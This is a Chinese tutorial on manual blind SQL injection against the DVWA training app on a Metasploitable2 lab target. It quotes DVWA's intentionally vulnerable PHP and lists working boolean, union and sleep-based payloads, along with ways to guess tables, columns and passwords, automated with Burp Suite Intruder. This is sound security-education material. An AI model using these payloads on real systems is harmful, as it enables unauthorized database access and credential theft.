工具
靶机——metasploitable2
WebApplication——DVWA
SQL手工注入原理(一)
SQL盲注
应用场景
- web服务器不显示数据库内建的报错信息(内建的报错信息帮助开发人员发现和修复问题)
- 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果——盲
DVWA盲注——SQL Injection (Blind)
low等级:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
$num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
此时浏览器不会返回数据库报错信息!
正常输入
错误输入
不会提示错误!
1' and 1=1--
1' and 1=2--
1' or 1=1--
1' or 1=2--
1' order by 3--
1' order by 2--
1' union select user(),2#
……其他和第一篇原理一类似了!
[--后面要加个空格,其实也可以把 -- 换成 #]
看过第一篇的小伙伴就会问了,为什么前面要有个1 ,一定需要吗?
在盲注的时候,因为你不确定你后面那条语句是否成立,最好是要传入一个正确的存在的参数。
基于时间盲注:sleep()
1' and sleep(5)--
1' or sleep(5)--
判断主要是依据浏览器的反应时间!
发现浏览器等待了 5s 才有反应
权限问题
特别注意:
因为靶机上运行的数据库是以 root 权限运行的,所以在第一篇原理篇里的 union ,order by等语句是可以执行的。
但如果目标服务器运行数据库的权限只是个普通用户,那些语句就无法被执行了!
无权读取 information_schema库 / 拒绝union,order by语句
解决方法:
猜列名: 1' and user is not null--
猜当前表的表名: 1' and table.user is not null-- table:表的名字
猜库里其他表表名: 1' and (select count(*) from table)>0--
列表对应关系: 1' and users.user is not null--
猜字段内容: 1' and user='admin
1' or user like '%a%
猜账号对应密码: 2' or user='admn' and password='kcshanbd
猜的时候可以用 BurpSuite 自动化
演示自动化猜解
发现浏览器向服务器以 GET 方式发起请求,把需要 猜解 的内容发送到 ==Intruder ==
注:这个部分不需要勾选(不需要对字典里的符号进行url编码)
发起攻击后,查看结果
有两个长度与其他不一致的,点击查看 Response 里的 Render
其余猜解自动化与上面类似。